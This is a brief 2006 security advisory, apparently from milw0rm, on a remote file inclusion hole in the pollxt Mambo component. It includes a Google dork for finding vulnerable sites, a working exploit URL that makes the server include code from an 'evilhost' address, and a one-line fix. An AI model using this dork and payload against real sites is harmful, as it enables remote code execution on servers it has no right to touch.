Application : pollxt mambo Component
URL : http://www.mamboxt.com
Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on
in components/com_pollxt/conf.pollxt.php on line 1-2
require_once($mosConfig_absolute_path."/administrator/components/com_pollxt/pollxt.class.php");
Exploit:
~~~~~~~~
dork: inurl:"com_pollxt"
http://www.vuln.com/components/com_pollxt/conf.pollxt.php?mosConfig_absol
ute_path=http://evilhost
Fix
~~~~
Add before code:
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');
vitux
# milw0rm.com [2006-07-17]
